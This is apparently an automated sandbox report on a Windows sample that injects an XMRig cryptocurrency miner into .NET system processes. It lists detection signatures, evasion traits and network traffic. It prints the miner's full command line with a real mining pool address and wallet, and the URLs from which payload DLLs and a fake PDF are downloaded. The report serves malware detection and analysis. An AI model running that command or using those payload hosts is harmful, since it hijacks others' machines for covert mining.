Edit tour

Windows Analysis Report
2ngxhElaud.exe

Overview

General Information

Sample name:	2ngxhElaud.exe renamed because original name is a hash value
Original sample name:	b353eef73cf06a89bf3d199050783f77.exe
Analysis ID:	1528574
MD5:	b353eef73cf06a89bf3d199050783f77
SHA1:	4ddb5095777a656684de8079d6fe24babdfc337b
SHA256:	4571f9310b1a27b245409e311b4de7fa6f620a18f1d3b98335e29b8d8f827150
Tags:	64exe
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Xmrig

Yara detected Xmrig cryptocurrency miner

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Detected Stratum mining protocol

Downloads files with wrong headers with respect to MIME Content-Type

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Modifies the context of a thread in another process (thread injection)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

2ngxhElaud.exe (PID: 6716 cmdline: "C:\Users\user\Desktop\2ngxhElaud.exe" MD5: B353EEF73CF06A89BF3D199050783F77)

InstallUtil.exe (PID: 2144 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" MD5: 909A1D386235DD5F6BA61B91BA34119D)

AddInProcess.exe (PID: 4828 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50 MD5: 929EA1AF28AFEA2A3311FD4297425C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.4145350381.00000246443B0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1838052867.0000014335CF0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x468d8:$a1: mining.set_target 0x413b0:$a2: XMRIG_HOSTNAME 0x43480:$a3: Usage: xmrig [OPTIONS] 0x41388:$a4: XMRIG_VERSION
00000005.00000002.4145824262.000001E5C1C18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000001.00000002.4164872758.0000024655720000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.4139261361.0000000140799000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.4145704834.0000024644431000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1825548079.000001432D1D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.4139261361.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 2ngxhElaud.exe PID: 6716	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: InstallUtil.exe PID: 2144	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: InstallUtil.exe PID: 2144	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: AddInProcess.exe PID: 4828	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: AddInProcess.exe PID: 4828	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0xa388:$a1: mining.set_target 0x6246:$a2: XMRIG_HOSTNAME 0x7562:$a3: Usage: xmrig [OPTIONS] 0x6227:$a4: XMRIG_VERSION
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.InstallUtil.exe.246443b0000.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.2ngxhElaud.exe.14335cf0000.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.2ngxhElaud.exe.1432d4d47d0.5.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.2ngxhElaud.exe.1432d4d47d0.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.AddInProcess.exe.140000000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
5.2.AddInProcess.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
5.2.AddInProcess.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4aa4d8:$a1: mining.set_target 0x4a4fb0:$a2: XMRIG_HOSTNAME 0x4a7080:$a3: Usage: xmrig [OPTIONS] 0x4a4f88:$a4: XMRIG_VERSION
5.2.AddInProcess.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4b0fa0:$x1: donate.ssl.xmrig.com 0x4b1471:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
5.2.AddInProcess.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4b1980:$s1: %s/%s (Windows NT %lu.%lu 0x4b2ab0:$s3: \\.\WinRing0_ 0x4a9278:$s4: pool_wallet 0x4a4828:$s5: cryptonight 0x4a4838:$s5: cryptonight 0x4a4848:$s5: cryptonight 0x4a4858:$s5: cryptonight 0x4a4870:$s5: cryptonight 0x4a4880:$s5: cryptonight 0x4a4890:$s5: cryptonight 0x4a48a8:$s5: cryptonight 0x4a48b8:$s5: cryptonight 0x4a48d0:$s5: cryptonight 0x4a48e8:$s5: cryptonight 0x4a48f8:$s5: cryptonight 0x4a4908:$s5: cryptonight 0x4a4918:$s5: cryptonight 0x4a4930:$s5: cryptonight 0x4a4948:$s5: cryptonight 0x4a4958:$s5: cryptonight 0x4a4968:$s5: cryptonight
Click to see the 5 entries

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe", ParentImage: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe, ParentProcessId: 2144, ParentProcessName: InstallUtil.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50, ProcessId: 4828, ProcessName: AddInProcess.exe

Suricata Signatures

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T02:40:37.606992+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.4	64012	51.222.111.116	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: https://files.catbox.moe/k541xr.dll	Virustotal: Detection: 9%			Perma Link
Source: https://files.catbox.moe/kwfxr7.dll	Virustotal: Detection: 8%			Perma Link

Multi AV Scanner detection for submitted file

Source: 2ngxhElaud.exe

Virustotal: Detection: 23%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.2.AddInProcess.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4145824262.000001E5C1C18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4164872758.0000024655720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4139261361.0000000140799000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4139261361.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 2144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess.exe PID: 4828, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.4:64012 -> 51.222.111.116:80 payload: data raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 36 45 39 55 6b 54 46 71 41 4c 58 4e 68 32 6d 53 62 41 37 57 47 44 6f 61 32 69 36 68 34 57 56 67 55 67 50 56 64 54 39 5a 64 74 77 65 4c 52 76 41 68 57 6d 62 76 75 59 31 64 68 45 6d 66 6a 48 62 73 61 76 4b 58 6f 33 65 47 66 35 5a 52 62 34 71 4a 7a 46 58 4c 56 48 47 59 48 34 6d 6f 51 2e 78 22 2c 22 70 61 73 73 22 3a 22 78 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 34 34 2e 32 20 6d 73 76 63 2f 32 30 31 39 22 2c 22 61 6c 67 6f 22 3a 5b 22 72 78 2f 30 22 2c 22 63 6e 2f 32 22 2c 22 63 6e 2f 72 22 2c 22 63 6e 2f 66 61 73 74 22 2c 22 63 6e 2f 68 61 6c 66 22 2c 22 63 6e 2f 78 61 6f 22 2c 22 63 6e 2f 72 74 6f 22 2c 22 63 6e 2f 72 77 7a 22 2c 22 63 6e 2f 7a 6c 73 22 2c 22 63 6e 2f 64 6f 75 62 6c 65 22 2c 22 63 6e 2f 63 63 78 22 2c 22 63 6e 2d 6c 69 74 65 2f 31 22 2c 22 63 6e 2d 68 65 61 76 79 2f 30 22 2c 22 63 6e 2d 68 65 61 76 79 2f 74 75 62 65 22 2c 22 63 6e 2d 68 65 61 76 79 2f 78 68 76 22 2c 22 63 6e 2d 70 69 63 6f 22 2c 22 63 6e 2d 70 69 63 6f 2f 74 6c 6f 22 2c 22 63 6e 2f 75 70 78 32 22 2c 22 63 6e 2f 31 22 2c 22 72 78 2f 77 6f 77 22 2c 22 72 78 2f 61 72 71 22 2c 22 72 78 2f 67 72 61 66 74 22 2c 22 72 78 2f 73 66 78 22 2c 22 72 78 2f 6b 65 76 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 76 32 22 2c 22 61 72 67 6f 6e 32 2f 6e 69 6e 6a 61 22 2c 22 67 68 6f 73 74 72 69 64 65 72 22 5d 7d 7d 0a data ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"46e9uktfqalxnh2msba7wgdoa2i6h4wvgugpvdt9zdtwelrvahwmbvuy1dhemfjhbsavkxo3egf5zrb4qjzfxlvhgyh4moq.x","pass":"x","agent":"xmrig/6.21.0 (windows nt 10.0; win64; x64) libuv/1.44.2 msvc/2019","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}

Found strings related to Crypto-Mining

Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: stratum+ssl://randomx.xmrig.com:443
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140000000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: AddInProcess.exe, 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: InstallUtil.exe, 00000001.00000002.4164872758.0000024655720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileDescriptionXMRig miner.

Source: unknown

HTTPS traffic detected: 172.67.173.168:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: 2ngxhElaud.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 2ngxhElaud.exe, 00000000.00000002.1839324075.0000014335E40000.00000004.08000000.00040000.00000000.sdmp, 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D4CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 2ngxhElaud.exe, 00000000.00000002.1839324075.0000014335E40000.00000004.08000000.00040000.00000000.sdmp, 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D4CE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 4x nop then jmp 00007FFD9B8CAC26h		0_2_00007FFD9B8BB16A
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Code function: 4x nop then jmp 00007FFD9BA80A56h		0_2_00007FFD9BA807C2

Networking

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:39:01 GMT Content-Type: application/pdf Content-Length: 1578504 Last-Modified: Mon, 07 Oct 2024 22:51:19 GMT Connection: keep-alive ETag: "670465e7-181608" Accept-Ranges: bytes Data Raw: 26 ee 0d 35 e9 ef 45 35 79 ff 88 19 02 ae 73 89 28 e2 31 d6 c4 c3 99 3d 4e 67 9d 15 1d e4 32 fb 71 3f 76 fe 8a 61 02 b4 9e 07 fd ba 8f 0b 46 14 7c b0 2a 30 7f 59 81 e5 18 71 ba d6 26 76 f2 cb b8 b1 da 3b 90 13 30 11 41 6e 61 91 39 35 6b 6c 5b 5d d7 26 0f 3e 53 c9 7c f3 6c eb 7c 65 61 3f 8c 10 55 94 58 65 35 ae 11 07 50 db d0 5a 1f 92 f8 dc d7 55 97 5e b6 12 14 d0 b3 bc 41 b7 ef f0 a7 81 49 fb b1 fb 5e f8 5f 5d 8b 3c 9b 09 3c e8 d3 02 67 1e 85 98 8e af f0 c2 aa 5c 21 2a 06 a4 fa 9b 2a c9 9b f3 2b fc 8d 4c 51 48 63 3f 6e 72 32 3a f9 72 38 e2 ac 21 a7 61 ed d8 29 b4 53 6e fb 97 3f c7 74 91 3d fd 5a 9f 94 20 d2 73 15 c5 10 b8 a6 c1 d7 35 c9 b0 a3 09 a9 c6 2e 7b 15 ed b9 bc 21 10 54 b8 9a d9 bc 2e 3f d8 5e d2 57 d7 ee 83 bf a4 7f 7d 9e d7 c2 dd b4 50 03 ca 4f fe 7a 24 62 86 a2 dd 42 8d 26 ca 7f 23 48 94 f9 0a ca 62 51 f4 70 88 f1 27 70 ec 68 77 bf 73 97 ec 8a 36 ed e7 d3 31 ec e4 b7 44 d9 6f d3 10 40 72 de e7 29 94 63 8e 0a 53 64 5d a9 02 cc 98 d1 2d d8 fb ba c7 46 ca ac 5d 0b db 1e 0a 16 c2 35 7f 99 a9 2d af f5 c6 fb 09 e1 74 ee fd 1b 01 55 d9 56 63 46 ca ea f8 76 72 6e 48 7d 1d 75 54 44 bb ad 3e 10 a0 a2 88 32 26 49 99 5b 3a 8a b4 69 75 86 07 f0 06 ec 13 88 db 0e ee 86 00 5a 41 ba 5c 0b ab a4 fd 52 ca 78 28 44 f5 6e ae ff 61 c4 76 8c 3d a5 e4 2d 04 ed 2e 3a 14 2a 5e 71 4f e2 45 15 97 d8 89 6a e6 2d 3c 31 dc 0f 12 de da 92 9b 45 79 5c d6 69 1f 14 0f 68 3c ac 23 68 d1 99 b6 6d 08 d7 98 84 a5 be 52 e8 18 d5 aa 91 26 88 00 4d fb cf 4d 02 52 b8 44 8c ba df f6 e8 d7 25 87 7f f9 98 3e fa 17 c1 a5 05 e6 e9 6e ea 7e 9d 83 a7 79 63 a1 e7 cd 70 fa 7c bc 9e e5 1b 1f f3 be 04 52 2f 86 3a 52 8a 05 73 44 5b ec 05 7f 75 07 e2 05 37 13 0d 04 ce 3b 3a 96 37 23 9d c6 c7 7a 0f 47 d8 72 9e 68 36 f8 55 0a eb 0e 58 0f 87 4c 1b 84 36 ff c7 50 d1 d9 8d 67 22 5f 0d f6 51 42 5f a1 b7 0b ad b4 9a 2f 20 1b 75 04 8e b4 c1 90 ed 87 7f 13 64 40 b4 b7 fe 8e 68 13 cc 7e 0b f2 09 85 37 4f 5c ee ac 3d 6f 91 b5 53 cc b1 d9 a4 b1 2a 41 db 75 9c 38 e8 f6 e8 4b 5b fc 26 46 a3 b1 8f 1d 8e 79 83 f5 0e 38 cf 21 b5 42 be 4f 6f 74 3e 19 9e e0 27 3e 2b cd 85 91 c0 b9 fe c1 ad d6 d5 be cc e0 3c e1 54 84 82 36 f9 e8 7c 34 12 d2 98 17 12 43 a0 7c 7d 49 83 34 9f b1 45 bd 0f 03 38 40 2c 49 9c c4 ff 4e 53 89 cc 82 4c 1d 45 41 d1 f6 4b 10 a3 3f 74 3a 32 f3 ef 7a 6e 09 e0 ba bb e8 4b aa 2d 2a 3d 97 ee 30 96 60 d8 6c 9a 90 fc c0 08 87 f7 bf 75 b3 78 56 aa ce 53 e5 50 ea d6 89 8e bb db 45 1b 9a 98 f4 93 93 b5 fe 38 67 70 41 75 5e 6b df 3e 6f c0 79 a7 4d 0d 39 c1 fa 2a cb 16 34 2a 88 36 46 7c fa 9c f4 d1 d4 2a 17 40 96 53 e9 e1 a0 f0 23 40 62 cb 34 c2 0c fa f2 ae d6 c8 c2 c1 14 ab 1f f3 5e 7a d2 91 46 71 3b 1b 07 28 e4 01 34 1e ca 22 5c 00 81 1a b4 f8 c3 d9 dc 76 48 03 86 39 a0 17 7c 27 6c a6 87 7d 59 5f ca b3 ce 57 0c 22 b3 cc 36 1b 1a 98 29 16 41 7a 31 d2 16 59 20

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 213.152.162.15:17370

Source: global traffic	HTTP traffic detected: GET /plugin3.dll HTTP/1.1Host: sck-dns.wsConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Gxqui.pdf HTTP/1.1Host: 31.13.224.51Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 213.152.162.15 213.152.162.15

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:64012 -> 51.222.111.116:80

Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 31.13.224.51

Source: global traffic	HTTP traffic detected: GET /plugin3.dll HTTP/1.1Host: sck-dns.wsConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Gxqui.pdf HTTP/1.1Host: 31.13.224.51Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: sck-dns.ws

Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431CFE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.13.224.51
Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431CFE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.13.224.51/Gxqui.pdf
Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431CFE1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.4145704834.0000024644431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 00000001.00000002.4145704834.0000024644563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/k541xr.dll
Source: InstallUtil.exe, 00000001.00000002.4255813727.000002465CB40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/k541xr.dllJ
Source: InstallUtil.exe, 00000001.00000002.4255813727.000002465CB40000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.4145704834.0000024644563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/kwfxr7.dll
Source: 2ngxhElaud.exe, 00000000.00000002.1839124064.0000014335DF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
